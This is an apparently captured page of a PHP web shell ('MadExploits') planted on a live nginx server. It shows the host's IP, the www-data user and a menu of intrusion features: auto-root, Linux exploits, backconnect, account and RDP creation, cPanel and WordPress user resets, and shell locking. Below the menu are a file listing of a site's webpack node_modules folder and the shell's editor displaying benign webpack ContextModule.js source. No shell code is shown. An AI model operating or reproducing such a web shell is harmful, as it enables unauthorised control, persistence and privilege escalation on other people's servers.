Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
webpack /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
debug
[ DIR ]
drwxr-xr-x
dependencies
[ DIR ]
drwxr-xr-x
node
[ DIR ]
drwxr-xr-x
optimize
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
wasm
[ DIR ]
drwxr-xr-x
web
[ DIR ]
drwxr-xr-x
webworker
[ DIR ]
drwxr-xr-x
APIPlugin.js
2.2
KB
-rw-r--r--
AmdMainTemplatePlugin.js
2.52
KB
-rw-r--r--
AsyncDependenciesBlock.js
2.42
KB
-rw-r--r--
AsyncDependencyToInitialChunkE...
871
B
-rw-r--r--
AutomaticPrefetchPlugin.js
1.38
KB
-rw-r--r--
BannerPlugin.js
2.91
KB
-rw-r--r--
BasicEvaluatedExpression.js
4.55
KB
-rw-r--r--
CachePlugin.js
2.84
KB
-rw-r--r--
CaseSensitiveModulesWarning.js
1.87
KB
-rw-r--r--
Chunk.js
22.15
KB
-rw-r--r--
ChunkGroup.js
12.13
KB
-rw-r--r--
ChunkRenderError.js
708
B
-rw-r--r--
ChunkTemplate.js
2.46
KB
-rw-r--r--
CommentCompilationWarning.js
748
B
-rw-r--r--
CompatibilityPlugin.js
1.98
KB
-rw-r--r--
Compilation.js
72.71
KB
-rw-r--r--
Compiler.js
19.52
KB
-rw-r--r--
ConcurrentCompilationError.js
492
B
-rw-r--r--
ConstPlugin.js
9.6
KB
-rw-r--r--
ContextExclusionPlugin.js
721
B
-rw-r--r--
ContextModule.js
24.03
KB
-rw-r--r--
ContextModuleFactory.js
6.45
KB
-rw-r--r--
ContextReplacementPlugin.js
4.03
KB
-rw-r--r--
DefinePlugin.js
7.9
KB
-rw-r--r--
DelegatedModule.js
2.77
KB
-rw-r--r--
DelegatedModuleFactoryPlugin.j...
2.32
KB
-rw-r--r--
DelegatedPlugin.js
1.02
KB
-rw-r--r--
DependenciesBlock.js
3.27
KB
-rw-r--r--
DependenciesBlockVariable.js
2.14
KB
-rw-r--r--
Dependency.js
1.97
KB
-rw-r--r--
DllEntryPlugin.js
1.24
KB
-rw-r--r--
DllModule.js
1.09
KB
-rw-r--r--
DllModuleFactory.js
536
B
-rw-r--r--
DllPlugin.js
1.4
KB
-rw-r--r--
DllReferencePlugin.js
4.88
KB
-rw-r--r--
DynamicEntryPlugin.js
2.76
KB
-rw-r--r--
EntryModuleNotFoundError.js
475
B
-rw-r--r--
EntryOptionPlugin.js
1.46
KB
-rw-r--r--
Entrypoint.js
1.75
KB
-rw-r--r--
EnvironmentPlugin.js
2.01
KB
-rw-r--r--
ErrorHelpers.js
1.41
KB
-rw-r--r--
EvalDevToolModulePlugin.js
792
B
-rw-r--r--
EvalDevToolModuleTemplatePlugi...
1.64
KB
-rw-r--r--
EvalSourceMapDevToolModuleTemp...
3.13
KB
-rw-r--r--
EvalSourceMapDevToolPlugin.js
1.04
KB
-rw-r--r--
ExportPropertyMainTemplatePlug...
1.31
KB
-rw-r--r--
ExtendedAPIPlugin.js
2.43
KB
-rw-r--r--
ExternalModule.js
4.29
KB
-rw-r--r--
ExternalModuleFactoryPlugin.js
2.92
KB
-rw-r--r--
ExternalsPlugin.js
546
B
-rw-r--r--
FlagDependencyExportsPlugin.js
4.33
KB
-rw-r--r--
FlagDependencyUsagePlugin.js
3.33
KB
-rw-r--r--
FlagInitialModulesAsUsedPlugin...
799
B
-rw-r--r--
FunctionModulePlugin.js
463
B
-rw-r--r--
FunctionModuleTemplatePlugin.j...
3.27
KB
-rw-r--r--
Generator.js
1.71
KB
-rw-r--r--
GraphHelpers.js
1.93
KB
-rw-r--r--
HarmonyLinkingError.js
408
B
-rw-r--r--
HashedModuleIdsPlugin.js
1.64
KB
-rw-r--r--
HotModuleReplacement.runtime.j...
16.69
KB
-rw-r--r--
HotModuleReplacementPlugin.js
12.15
KB
-rw-r--r--
HotUpdateChunk.js
324
B
-rw-r--r--
HotUpdateChunkTemplate.js
1.59
KB
-rw-r--r--
IgnorePlugin.js
2.37
KB
-rw-r--r--
JavascriptGenerator.js
5.73
KB
-rw-r--r--
JavascriptModulesPlugin.js
5.25
KB
-rw-r--r--
JsonGenerator.js
1.41
KB
-rw-r--r--
JsonModulesPlugin.js
698
B
-rw-r--r--
JsonParser.js
758
B
-rw-r--r--
LibManifestPlugin.js
2.22
KB
-rw-r--r--
LibraryTemplatePlugin.js
5.62
KB
-rw-r--r--
LoaderOptionsPlugin.js
1.46
KB
-rw-r--r--
LoaderTargetPlugin.js
480
B
-rw-r--r--
MainTemplate.js
16.2
KB
-rw-r--r--
MemoryOutputFileSystem.js
139
B
-rw-r--r--
Module.js
10.13
KB
-rw-r--r--
ModuleBuildError.js
1.2
KB
-rw-r--r--
ModuleDependencyError.js
812
B
-rw-r--r--
ModuleDependencyWarning.js
554
B
-rw-r--r--
ModuleError.js
843
B
-rw-r--r--
ModuleFilenameHelpers.js
5.36
KB
-rw-r--r--
ModuleNotFoundError.js
516
B
-rw-r--r--
ModuleParseError.js
1.54
KB
-rw-r--r--
ModuleReason.js
1.16
KB
-rw-r--r--
ModuleTemplate.js
1.97
KB
-rw-r--r--
ModuleWarning.js
901
B
-rw-r--r--
MultiCompiler.js
7.05
KB
-rw-r--r--
MultiEntryPlugin.js
2.01
KB
-rw-r--r--
MultiModule.js
1.88
KB
-rw-r--r--
MultiModuleFactory.js
489
B
-rw-r--r--
MultiStats.js
2.17
KB
-rw-r--r--
MultiWatching.js
714
B
-rw-r--r--
NamedChunksPlugin.js
659
B
-rw-r--r--
NamedModulesPlugin.js
1.43
KB
-rw-r--r--
NoEmitOnErrorsPlugin.js
559
B
-rw-r--r--
NoModeWarning.js
715
B
-rw-r--r--
NodeStuffPlugin.js
5.62
KB
-rw-r--r--
NormalModule.js
14.09
KB
-rw-r--r--
NormalModuleFactory.js
13.38
KB
-rw-r--r--
NormalModuleReplacementPlugin....
1.25
KB
-rw-r--r--
NullFactory.js
217
B
-rw-r--r--
OptionsApply.js
200
B
-rw-r--r--
OptionsDefaulter.js
1.92
KB
-rw-r--r--
Parser.js
65.25
KB
-rw-r--r--
ParserHelpers.js
2.78
KB
-rw-r--r--
PrefetchPlugin.js
837
B
-rw-r--r--
ProgressPlugin.js
9.69
KB
-rw-r--r--
ProvidePlugin.js
2.34
KB
-rw-r--r--
RawModule.js
1.16
KB
-rw-r--r--
RecordIdsPlugin.js
6.36
KB
-rw-r--r--
RemovedPluginError.js
229
B
-rw-r--r--
RequestShortener.js
2.55
KB
-rw-r--r--
RequireJsStuffPlugin.js
1.76
KB
-rw-r--r--
ResolverFactory.js
2.28
KB
-rw-r--r--
RuleSet.js
11.83
KB
-rw-r--r--
RuntimeTemplate.js
9.25
KB
-rw-r--r--
SetVarMainTemplatePlugin.js
1.69
KB
-rw-r--r--
SingleEntryPlugin.js
1.45
KB
-rw-r--r--
SizeFormatHelpers.js
538
B
-rw-r--r--
SourceMapDevToolModuleOptionsP...
1.17
KB
-rw-r--r--
SourceMapDevToolPlugin.js
9.16
KB
-rw-r--r--
Stats.js
38.31
KB
-rw-r--r--
SystemMainTemplatePlugin.js
3.23
KB
-rw-r--r--
Template.js
7.97
KB
-rw-r--r--
TemplatedPathPlugin.js
5.24
KB
-rw-r--r--
UmdMainTemplatePlugin.js
8.57
KB
-rw-r--r--
UnsupportedFeatureWarning.js
809
B
-rw-r--r--
UseStrictPlugin.js
1.57
KB
-rw-r--r--
WarnCaseSensitiveModulesPlugin...
1016
B
-rw-r--r--
WarnNoModeSetPlugin.js
391
B
-rw-r--r--
WatchIgnorePlugin.js
2.31
KB
-rw-r--r--
Watching.js
4.57
KB
-rw-r--r--
WebpackError.js
660
B
-rw-r--r--
WebpackOptionsApply.js
18.33
KB
-rw-r--r--
WebpackOptionsDefaulter.js
11.4
KB
-rw-r--r--
WebpackOptionsValidationError....
9.65
KB
-rw-r--r--
compareLocations.js
1.29
KB
-rw-r--r--
formatLocation.js
2.01
KB
-rw-r--r--
validateSchema.js
1.55
KB
-rw-r--r--
webpack.js
7.71
KB
-rw-r--r--
webpack.web.js
942
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ContextModule.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const util = require("util"); const { OriginalSource, RawSource } = require("webpack-sources"); const Module = require("./Module"); const AsyncDependenciesBlock = require("./AsyncDependenciesBlock"); const Template = require("./Template"); const contextify = require("./util/identifier").contextify; /** @typedef {"sync" | "eager" | "weak" | "async-weak" | "lazy" | "lazy-once"} ContextMode Context mode */ /** @typedef {import("./dependencies/ContextElementDependency")} ContextElementDependency */ /** * @callback ResolveDependenciesCallback * @param {Error=} err * @param {ContextElementDependency[]} dependencies */ /** * @callback ResolveDependencies * @param {TODO} fs * @param {TODO} options * @param {ResolveDependenciesCallback} callback */ class ContextModule extends Module { // type ContextMode = "sync" | "eager" | "weak" | "async-weak" | "lazy" | "lazy-once" // type ContextOptions = { resource: string, recursive: boolean, regExp: RegExp, addon?: string, mode?: ContextMode, chunkName?: string, include?: RegExp, exclude?: RegExp, groupOptions?: Object } // resolveDependencies: (fs: FS, options: ContextOptions, (err: Error?, dependencies: Dependency[]) => void) => void // options: ContextOptions /** * @param {ResolveDependencies} resolveDependencies function to get dependencies in this context * @param {TODO} options options object */ constructor(resolveDependencies, options) { let resource; let resourceQuery; const queryIdx = options.resource.indexOf("?"); if (queryIdx >= 0) { resource = options.resource.substr(0, queryIdx); resourceQuery = options.resource.substr(queryIdx); } else { resource = options.resource; resourceQuery = ""; } super("javascript/dynamic", resource); // Info from Factory this.resolveDependencies = resolveDependencies; this.options = Object.assign({}, options, { resource: resource, resourceQuery: resourceQuery }); if (options.resolveOptions !== undefined) { this.resolveOptions = options.resolveOptions; } // Info from Build this._contextDependencies = new Set([this.context]); if (typeof options.mode !== "string") { throw new Error("options.mode is a required option"); } this._identifier = this._createIdentifier(); } updateCacheModule(module) { this.resolveDependencies = module.resolveDependencies; this.options = module.options; this.resolveOptions = module.resolveOptions; } prettyRegExp(regexString) { // remove the "/" at the front and the beginning // "/foo/" -> "foo" return regexString.substring(1, regexString.length - 1); } _createIdentifier() { let identifier = this.context; if (this.options.resourceQuery) { identifier += ` ${this.options.resourceQuery}`; } if (this.options.mode) { identifier += ` ${this.options.mode}`; } if (!this.options.recursive) { identifier += " nonrecursive"; } if (this.options.addon) { identifier += ` ${this.options.addon}`; } if (this.options.regExp) { identifier += ` ${this.options.regExp}`; } if (this.options.include) { identifier += ` include: ${this.options.include}`; } if (this.options.exclude) { identifier += ` exclude: ${this.options.exclude}`; } if (this.options.groupOptions) { identifier += ` groupOptions: ${JSON.stringify( this.options.groupOptions )}`; } if (this.options.namespaceObject === "strict") { identifier += " strict namespace object"; } else if (this.options.namespaceObject) { identifier += " namespace object"; } return identifier; } identifier() { return this._identifier; } readableIdentifier(requestShortener) { let identifier = requestShortener.shorten(this.context); if (this.options.resourceQuery) { identifier += ` ${this.options.resourceQuery}`; } if (this.options.mode) { identifier += ` ${this.options.mode}`; } if (!this.options.recursive) { identifier += " nonrecursive"; } if (this.options.addon) { identifier += ` ${requestShortener.shorten(this.options.addon)}`; } if (this.options.regExp) { identifier += ` ${this.prettyRegExp(this.options.regExp + "")}`; } if (this.options.include) { identifier += ` include: ${this.prettyRegExp(this.options.include + "")}`; } if (this.options.exclude) { identifier += ` exclude: ${this.prettyRegExp(this.options.exclude + "")}`; } if (this.options.groupOptions) { const groupOptions = this.options.groupOptions; for (const key of Object.keys(groupOptions)) { identifier += ` ${key}: ${groupOptions[key]}`; } } if (this.options.namespaceObject === "strict") { identifier += " strict namespace object"; } else if (this.options.namespaceObject) { identifier += " namespace object"; } return identifier; } libIdent(options) { let identifier = contextify(options.context, this.context); if (this.options.mode) { identifier += ` ${this.options.mode}`; } if (this.options.recursive) { identifier += " recursive"; } if (this.options.addon) { identifier += ` ${contextify(options.context, this.options.addon)}`; } if (this.options.regExp) { identifier += ` ${this.prettyRegExp(this.options.regExp + "")}`; } if (this.options.include) { identifier += ` include: ${this.prettyRegExp(this.options.include + "")}`; } if (this.options.exclude) { identifier += ` exclude: ${this.prettyRegExp(this.options.exclude + "")}`; } return identifier; } needRebuild(fileTimestamps, contextTimestamps) { const ts = contextTimestamps.get(this.context); if (!ts) { return true; } return ts >= this.buildInfo.builtTime; } build(options, compilation, resolver, fs, callback) { this.built = true; this.buildMeta = {}; this.buildInfo = { builtTime: Date.now(), contextDependencies: this._contextDependencies }; this.resolveDependencies(fs, this.options, (err, dependencies) => { if (err) return callback(err); // abort if something failed // this will create an empty context if (!dependencies) { callback(); return; } // enhance dependencies with meta info for (const dep of dependencies) { dep.loc = { name: dep.userRequest }; dep.request = this.options.addon + dep.request; } if (this.options.mode === "sync" || this.options.mode === "eager") { // if we have an sync or eager context // just add all dependencies and continue this.dependencies = dependencies; } else if (this.options.mode === "lazy-once") { // for the lazy-once mode create a new async dependency block // and add that block to this context if (dependencies.length > 0) { const block = new AsyncDependenciesBlock( Object.assign({}, this.options.groupOptions, { name: this.options.chunkName }), this ); for (const dep of dependencies) { block.addDependency(dep); } this.addBlock(block); } } else if ( this.options.mode === "weak" || this.options.mode === "async-weak" ) { // we mark all dependencies as weak for (const dep of dependencies) { dep.weak = true; } this.dependencies = dependencies; } else if (this.options.mode === "lazy") { // if we are lazy create a new async dependency block per dependency // and add all blocks to this context let index = 0; for (const dep of dependencies) { let chunkName = this.options.chunkName; if (chunkName) { if (!/\[(index|request)\]/.test(chunkName)) { chunkName += "[index]"; } chunkName = chunkName.replace(/\[index\]/g, index++); chunkName = chunkName.replace( /\[request\]/g, Template.toPath(dep.userRequest) ); } const block = new AsyncDependenciesBlock( Object.assign({}, this.options.groupOptions, { name: chunkName }), dep.module, dep.loc, dep.userRequest ); block.addDependency(dep); this.addBlock(block); } } else { callback( new Error(`Unsupported mode "${this.options.mode}" in context`) ); return; } callback(); }); } getUserRequestMap(dependencies) { // if we filter first we get a new array // therefor we dont need to create a clone of dependencies explicitly // therefore the order of this is !important! return dependencies .filter(dependency => dependency.module) .sort((a, b) => { if (a.userRequest === b.userRequest) { return 0; } return a.userRequest < b.userRequest ? -1 : 1; }) .reduce((map, dep) => { map[dep.userRequest] = dep.module.id; return map; }, Object.create(null)); } getFakeMap(dependencies) { if (!this.options.namespaceObject) { return 9; } // if we filter first we get a new array // therefor we dont need to create a clone of dependencies explicitly // therefore the order of this is !important! let hasNonHarmony = false; let hasNamespace = false; let hasNamed = false; const fakeMap = dependencies .filter(dependency => dependency.module) .sort((a, b) => { return b.module.id - a.module.id; }) .reduce((map, dep) => { const exportsType = dep.module.buildMeta && dep.module.buildMeta.exportsType; const id = dep.module.id; if (!exportsType) { map[id] = this.options.namespaceObject === "strict" ? 1 : 7; hasNonHarmony = true; } else if (exportsType === "namespace") { map[id] = 9; hasNamespace = true; } else if (exportsType === "named") { map[id] = 3; hasNamed = true; } return map; }, Object.create(null)); if (!hasNamespace && hasNonHarmony && !hasNamed) { return this.options.namespaceObject === "strict" ? 1 : 7; } if (hasNamespace && !hasNonHarmony && !hasNamed) { return 9; } if (!hasNamespace && !hasNonHarmony && hasNamed) { return 3; } if (!hasNamespace && !hasNonHarmony && !hasNamed) { return 9; } return fakeMap; } getFakeMapInitStatement(fakeMap) { return typeof fakeMap === "object" ? `var fakeMap = ${JSON.stringify(fakeMap, null, "\t")};` : ""; } getReturn(type) { if (type === 9) { return "__webpack_require__(id)"; } return `__webpack_require__.t(id, ${type})`; } getReturnModuleObjectSource(fakeMap, fakeMapDataExpression = "fakeMap[id]") { if (typeof fakeMap === "number") { return `return ${this.getReturn(fakeMap)};`; } return `return __webpack_require__.t(id, ${fakeMapDataExpression})`; } getSyncSource(dependencies, id) { const map = this.getUserRequestMap(dependencies); const fakeMap = this.getFakeMap(dependencies); const returnModuleObject = this.getReturnModuleObjectSource(fakeMap); return `var map = ${JSON.stringify(map, null, "\t")}; ${this.getFakeMapInitStatement(fakeMap)} function webpackContext(req) { var id = webpackContextResolve(req); ${returnModuleObject} } function webpackContextResolve(req) { if(!__webpack_require__.o(map, req)) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } return map[req]; } webpackContext.keys = function webpackContextKeys() { return Object.keys(map); }; webpackContext.resolve = webpackContextResolve; module.exports = webpackContext; webpackContext.id = ${JSON.stringify(id)};`; } getWeakSyncSource(dependencies, id) { const map = this.getUserRequestMap(dependencies); const fakeMap = this.getFakeMap(dependencies); const returnModuleObject = this.getReturnModuleObjectSource(fakeMap); return `var map = ${JSON.stringify(map, null, "\t")}; ${this.getFakeMapInitStatement(fakeMap)} function webpackContext(req) { var id = webpackContextResolve(req); if(!__webpack_require__.m[id]) { var e = new Error("Module '" + req + "' ('" + id + "') is not available (weak dependency)"); e.code = 'MODULE_NOT_FOUND'; throw e; } ${returnModuleObject} } function webpackContextResolve(req) { if(!__webpack_require__.o(map, req)) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } return map[req]; } webpackContext.keys = function webpackContextKeys() { return Object.keys(map); }; webpackContext.resolve = webpackContextResolve; webpackContext.id = ${JSON.stringify(id)}; module.exports = webpackContext;`; } getAsyncWeakSource(dependencies, id) { const map = this.getUserRequestMap(dependencies); const fakeMap = this.getFakeMap(dependencies); const returnModuleObject = this.getReturnModuleObjectSource(fakeMap); return `var map = ${JSON.stringify(map, null, "\t")}; ${this.getFakeMapInitStatement(fakeMap)} function webpackAsyncContext(req) { return webpackAsyncContextResolve(req).then(function(id) { if(!__webpack_require__.m[id]) { var e = new Error("Module '" + req + "' ('" + id + "') is not available (weak dependency)"); e.code = 'MODULE_NOT_FOUND'; throw e; } ${returnModuleObject} }); } function webpackAsyncContextResolve(req) { // Here Promise.resolve().then() is used instead of new Promise() to prevent // uncaught exception popping up in devtools return Promise.resolve().then(function() { if(!__webpack_require__.o(map, req)) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } return map[req]; }); } webpackAsyncContext.keys = function webpackAsyncContextKeys() { return Object.keys(map); }; webpackAsyncContext.resolve = webpackAsyncContextResolve; webpackAsyncContext.id = ${JSON.stringify(id)}; module.exports = webpackAsyncContext;`; } getEagerSource(dependencies, id) { const map = this.getUserRequestMap(dependencies); const fakeMap = this.getFakeMap(dependencies); const thenFunction = fakeMap !== 9 ? `function(id) { ${this.getReturnModuleObjectSource(fakeMap)} }` : "__webpack_require__"; return `var map = ${JSON.stringify(map, null, "\t")}; ${this.getFakeMapInitStatement(fakeMap)} function webpackAsyncContext(req) { return webpackAsyncContextResolve(req).then(${thenFunction}); } function webpackAsyncContextResolve(req) { // Here Promise.resolve().then() is used instead of new Promise() to prevent // uncaught exception popping up in devtools return Promise.resolve().then(function() { if(!__webpack_require__.o(map, req)) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } return map[req]; }); } webpackAsyncContext.keys = function webpackAsyncContextKeys() { return Object.keys(map); }; webpackAsyncContext.resolve = webpackAsyncContextResolve; webpackAsyncContext.id = ${JSON.stringify(id)}; module.exports = webpackAsyncContext;`; } getLazyOnceSource(block, dependencies, id, runtimeTemplate) { const promise = runtimeTemplate.blockPromise({ block, message: "lazy-once context" }); const map = this.getUserRequestMap(dependencies); const fakeMap = this.getFakeMap(dependencies); const thenFunction = fakeMap !== 9 ? `function(id) { ${this.getReturnModuleObjectSource(fakeMap)}; }` : "__webpack_require__"; return `var map = ${JSON.stringify(map, null, "\t")}; ${this.getFakeMapInitStatement(fakeMap)} function webpackAsyncContext(req) { return webpackAsyncContextResolve(req).then(${thenFunction}); } function webpackAsyncContextResolve(req) { return ${promise}.then(function() { if(!__webpack_require__.o(map, req)) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } return map[req]; }); } webpackAsyncContext.keys = function webpackAsyncContextKeys() { return Object.keys(map); }; webpackAsyncContext.resolve = webpackAsyncContextResolve; webpackAsyncContext.id = ${JSON.stringify(id)}; module.exports = webpackAsyncContext;`; } getLazySource(blocks, id) { let hasMultipleOrNoChunks = false; let hasNoChunk = true; const fakeMap = this.getFakeMap(blocks.map(b => b.dependencies[0])); const hasFakeMap = typeof fakeMap === "object"; const map = blocks .filter(block => block.dependencies[0].module) .map(block => { const chunks = block.chunkGroup ? block.chunkGroup.chunks : []; if (chunks.length > 0) { hasNoChunk = false; } if (chunks.length !== 1) { hasMultipleOrNoChunks = true; } return { dependency: block.dependencies[0], block: block, userRequest: block.dependencies[0].userRequest, chunks }; }) .sort((a, b) => { if (a.userRequest === b.userRequest) return 0; return a.userRequest < b.userRequest ? -1 : 1; }) .reduce((map, item) => { const chunks = item.chunks; if (hasNoChunk && !hasFakeMap) { map[item.userRequest] = item.dependency.module.id; } else { const arrayStart = [item.dependency.module.id]; if (typeof fakeMap === "object") { arrayStart.push(fakeMap[item.dependency.module.id]); } map[item.userRequest] = arrayStart.concat( chunks.map(chunk => chunk.id) ); } return map; }, Object.create(null)); const shortMode = hasNoChunk && !hasFakeMap; const chunksStartPosition = hasFakeMap ? 2 : 1; const requestPrefix = hasNoChunk ? "Promise.resolve()" : hasMultipleOrNoChunks ? `Promise.all(ids.slice(${chunksStartPosition}).map(__webpack_require__.e))` : `__webpack_require__.e(ids[${chunksStartPosition}])`; const returnModuleObject = this.getReturnModuleObjectSource( fakeMap, shortMode ? "invalid" : "ids[1]" ); const webpackAsyncContext = requestPrefix === "Promise.resolve()" ? `${shortMode ? "" : ""} function webpackAsyncContext(req) { return Promise.resolve().then(function() { if(!__webpack_require__.o(map, req)) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } ${shortMode ? "var id = map[req];" : "var ids = map[req], id = ids[0];"} ${returnModuleObject} }); }` : `function webpackAsyncContext(req) { if(!__webpack_require__.o(map, req)) { return Promise.resolve().then(function() { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; }); } var ids = map[req], id = ids[0]; return ${requestPrefix}.then(function() { ${returnModuleObject} }); }`; return `var map = ${JSON.stringify(map, null, "\t")}; ${webpackAsyncContext} webpackAsyncContext.keys = function webpackAsyncContextKeys() { return Object.keys(map); }; webpackAsyncContext.id = ${JSON.stringify(id)}; module.exports = webpackAsyncContext;`; } getSourceForEmptyContext(id) { return `function webpackEmptyContext(req) { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; } webpackEmptyContext.keys = function() { return []; }; webpackEmptyContext.resolve = webpackEmptyContext; module.exports = webpackEmptyContext; webpackEmptyContext.id = ${JSON.stringify(id)};`; } getSourceForEmptyAsyncContext(id) { return `function webpackEmptyAsyncContext(req) { // Here Promise.resolve().then() is used instead of new Promise() to prevent // uncaught exception popping up in devtools return Promise.resolve().then(function() { var e = new Error("Cannot find module '" + req + "'"); e.code = 'MODULE_NOT_FOUND'; throw e; }); } webpackEmptyAsyncContext.keys = function() { return []; }; webpackEmptyAsyncContext.resolve = webpackEmptyAsyncContext; module.exports = webpackEmptyAsyncContext; webpackEmptyAsyncContext.id = ${JSON.stringify(id)};`; } getSourceString(asyncMode, runtimeTemplate) { if (asyncMode === "lazy") { if (this.blocks && this.blocks.length > 0) { return this.getLazySource(this.blocks, this.id); } return this.getSourceForEmptyAsyncContext(this.id); } if (asyncMode === "eager") { if (this.dependencies && this.dependencies.length > 0) { return this.getEagerSource(this.dependencies, this.id); } return this.getSourceForEmptyAsyncContext(this.id); } if (asyncMode === "lazy-once") { const block = this.blocks[0]; if (block) { return this.getLazyOnceSource( block, block.dependencies, this.id, runtimeTemplate ); } return this.getSourceForEmptyAsyncContext(this.id); } if (asyncMode === "async-weak") { if (this.dependencies && this.dependencies.length > 0) { return this.getAsyncWeakSource(this.dependencies, this.id); } return this.getSourceForEmptyAsyncContext(this.id); } if (asyncMode === "weak") { if (this.dependencies && this.dependencies.length > 0) { return this.getWeakSyncSource(this.dependencies, this.id); } } if (this.dependencies && this.dependencies.length > 0) { return this.getSyncSource(this.dependencies, this.id); } return this.getSourceForEmptyContext(this.id); } getSource(sourceString) { if (this.useSourceMap) { return new OriginalSource(sourceString, this.identifier()); } return new RawSource(sourceString); } source(dependencyTemplates, runtimeTemplate) { return this.getSource( this.getSourceString(this.options.mode, runtimeTemplate) ); } size() { // base penalty const initialSize = 160; // if we dont have dependencies we stop here. return this.dependencies.reduce((size, dependency) => { const element = /** @type {ContextElementDependency} */ (dependency); return size + 5 + element.userRequest.length; }, initialSize); } } // TODO remove in webpack 5 Object.defineProperty(ContextModule.prototype, "recursive", { configurable: false, get: util.deprecate( /** * @deprecated * @this {ContextModule} * @returns {boolean} is recursive */ function() { return this.options.recursive; }, "ContextModule.recursive has been moved to ContextModule.options.recursive" ), set: util.deprecate( /** * @deprecated * @this {ContextModule} * @param {boolean} value is recursive * @returns {void} */ function(value) { this.options.recursive = value; }, "ContextModule.recursive has been moved to ContextModule.options.recursive" ) }); // TODO remove in webpack 5 Object.defineProperty(ContextModule.prototype, "regExp", { configurable: false, get: util.deprecate( /** * @deprecated * @this {ContextModule} * @returns {RegExp} regular expression */ function() { return this.options.regExp; }, "ContextModule.regExp has been moved to ContextModule.options.regExp" ), set: util.deprecate( /** * @deprecated * @this {ContextModule} * @param {RegExp} value Regular expression * @returns {void} */ function(value) { this.options.regExp = value; }, "ContextModule.regExp has been moved to ContextModule.options.regExp" ) }); // TODO remove in webpack 5 Object.defineProperty(ContextModule.prototype, "addon", { configurable: false, get: util.deprecate( /** * @deprecated * @this {ContextModule} * @returns {string} addon */ function() { return this.options.addon; }, "ContextModule.addon has been moved to ContextModule.options.addon" ), set: util.deprecate( /** * @deprecated * @this {ContextModule} * @param {string} value addon * @returns {void} */ function(value) { this.options.addon = value; }, "ContextModule.addon has been moved to ContextModule.options.addon" ) }); // TODO remove in webpack 5 Object.defineProperty(ContextModule.prototype, "async", { configurable: false, get: util.deprecate( /** * @deprecated * @this {ContextModule} * @returns {boolean} is async */ function() { return this.options.mode; }, "ContextModule.async has been moved to ContextModule.options.mode" ), set: util.deprecate( /** * @deprecated * @this {ContextModule} * @param {ContextMode} value Context mode * @returns {void} */ function(value) { this.options.mode = value; }, "ContextModule.async has been moved to ContextModule.options.mode" ) }); // TODO remove in webpack 5 Object.defineProperty(ContextModule.prototype, "chunkName", { configurable: false, get: util.deprecate( /** * @deprecated * @this {ContextModule} * @returns {string} chunk name */ function() { return this.options.chunkName; }, "ContextModule.chunkName has been moved to ContextModule.options.chunkName" ), set: util.deprecate( /** * @deprecated * @this {ContextModule} * @param {string} value chunk name * @returns {void} */ function(value) { this.options.chunkName = value; }, "ContextModule.chunkName has been moved to ContextModule.options.chunkName" ) }); module.exports = ContextModule;
Close